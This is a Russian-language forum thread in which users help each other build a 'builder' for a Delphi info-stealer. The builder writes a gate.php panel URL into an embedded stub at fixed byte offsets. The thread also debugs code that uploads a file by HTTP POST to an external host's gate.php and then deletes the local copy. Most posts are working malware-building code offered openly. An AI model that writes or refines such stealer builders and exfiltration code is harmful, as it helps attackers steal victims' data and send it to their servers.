Помощь в коде Люди Кто Может Помочь Создать Builder К Стилеру ?

[Ярослав]

Люди кто может помочь создать builder к стилеру на delphi xe ? билдер должен выглядить так: "1шт. edit; и кнопка build " в edit водишь ссылку на gate.php и в стилере тоисть можно сказать что в стабе она должна измениться на ту что вставил в buildere.

вот эта ссылка должна меняться на ту что вводишь в buildere

 

[Sascha]

Всё тоже самое как ты делал, только код немного подправить. Заместь 50 подставь 30 или 40 и попробуй.

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    SaveDialog1: TSaveDialog;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
{$R link.res}


procedure ExtractRes(ResType, ResName, ResNewName : String);
var
  Res : TResourceStream;
begin
  Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
  Res.SavetoFile(ResNewName);
  Res.Free;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
H, B: Cardinal;
C : array[0..50] of char;
begin
SaveDialog1.Execute;
if SaveDialog1.FileName = '' then
begin
 end
else
begin

ExtractRes('EXEFILE', 'ARJ', SaveDialog1.FileName);

H:=CreateFile(PChar(SaveDialog1.FileName),GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(H,$1DAA88,nil,FILE_BEGIN);
FillChar(C,40,0);
lstrcat(C,PChar(Edit1.Text));
WriteFile(H,C,40,B,nil);
CloseHandle(H);
end;
end;

 

[Ярослав]

Всё тоже самое как ты делал, только код немного подправить. Заместь 50 подставь 30 или 40 и попробуй.

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    SaveDialog1: TSaveDialog;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
{$R link.res}


procedure ExtractRes(ResType, ResName, ResNewName : String);
var
  Res : TResourceStream;
begin
  Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
  Res.SavetoFile(ResNewName);
  Res.Free;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
H, B: Cardinal;
C : array[0..50] of char;
begin
SaveDialog1.Execute;
if SaveDialog1.FileName = '' then
begin
 end
else
begin

ExtractRes('EXEFILE', 'ARJ', SaveDialog1.FileName);

H:=CreateFile(PChar(SaveDialog1.FileName),GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(H,$1DAA88,nil,FILE_BEGIN);
FillChar(C,40,0);
lstrcat(C,PChar(Edit1.Text));
WriteFile(H,C,40,B,nil);
CloseHandle(H);
end;
end;

ставил и 40 и 30 и 20 и 10 и 25 не получаеться ошибка при запуске стилера

 

[Sascha]

Попробуй так

var
a:string;
begin
 a:= 'www.seite-test.ru';
 response:=IdHTTP1.Post(a,formData);
end;

 

[Sascha]

и зделай сперва без таймера при нажатии на кнопку к примеру

 

[Ярослав]

Попробуй так

var
a:string;
begin
 a:= 'www.seite-test.ru';
 response:=IdHTTP1.Post(a,formData);
end;

а это в стилер вставить или в сам билдер ?

 

[Sascha]

в стилер

 

[Ярослав]

в стилер

вот зделал, ошибка при отправке запроса, что не так ? помогите пожалуйста

 

[Sascha]

У тебя не полностью прописано адрес запроса, вот и ругается

 

[Sascha]

Ты лучше код напиши а не картинку

 

[Ярослав]

Ты лучше код напиши а не картинку

вот код который я на кнопку вставляю

var FileName: string;response: string;
var formData: TIdMultiPartFormDataStream;
a:string;
begin
FileName := 'D:\1.txt';
formData := TIdMultiPartFormDataStream.Create;
formData.AddFile('myfile',fileName,'application/octet-stream');
formData.AddFormField('param1', 'value1');
a:= 'zak500m9.beget.tech/upload/gate.php';
response:=IdHTTP1.Post(a,formData);
memo1.Lines.Text:= response ;
formData.Free;
if (deleteFile('D:\1.txt')) then
close;
end;

и ошыбка таже "Unknow Protocol"

 

[Sascha]

procedure TForm1.Button1Click(Sender: TObject);
var
FileName,response,a: string;
formData: TIdMultiPartFormDataStream;
begin
FileName := 'D:\1.txt';
formData := TIdMultiPartFormDataStream.Create;
formData.AddFile('myfile',fileName,'application/octet-stream');
formData.AddFormField('param1', 'value1');
a:= 'http://zak500m9.beget.tech/upload/gate.php';
response:=IdHTTP.Post(a,formData);
memo1.Lines.Text:= response ;
formData.Free;
if (deleteFile('D:\1.txt')) then
close;
end;

 

[Ярослав]

procedure TForm1.Button1Click(Sender: TObject);
var
FileName,response,a: string;
formData: TIdMultiPartFormDataStream;
begin
FileName := 'D:\1.txt';
formData := TIdMultiPartFormDataStream.Create;
formData.AddFile('myfile',fileName,'application/octet-stream');
formData.AddFormField('param1', 'value1');
a:= 'http://zak500m9.beget.tech/upload/gate.php';
response:=IdHTTP.Post(a,formData);
memo1.Lines.Text:= response ;
formData.Free;
if (deleteFile('D:\1.txt')) then
close;
end;

Теперь роботает, спасибо, щяс попробую зделать стилер но что то мне подсказывает что он серавно не будет роботать.

 

[Ярослав]

Зделал стилер и она и таже ошибка

 

[Sascha]

скинь мне код

 

[Ярослав]

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

пароль 5700

ну что там ?

 

[Sascha]

Адрес не соответствует , или же Stiller ты берёшь два разных программу и ресурс.

var
H, B: Cardinal;
C : array[0..50] of char;
begin
dlgSave1.Execute;
if dlgSave1.FileName = '' then
begin
 end
else
begin

ExtractRes('EXEFILE', 'ARJ', dlgSave1.FileName);

H:=CreateFile(PChar(dlgSave1.FileName),GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
SetFilePointer(H,$2612C8,nil,FILE_BEGIN);
FillChar(C,40,0);
lstrcat(C,PChar(Edit3.Text));
WriteFile(H,C,40,B,nil);
CloseHandle(H);
end;
end;

 

[Ярослав]

так а что делать ? я билдер делал на delphi 7 а стилер на delphi xe 3

 

[Sascha]

попробую исправить

 

[Ярослав]

попробую исправить

хорошо, спасибо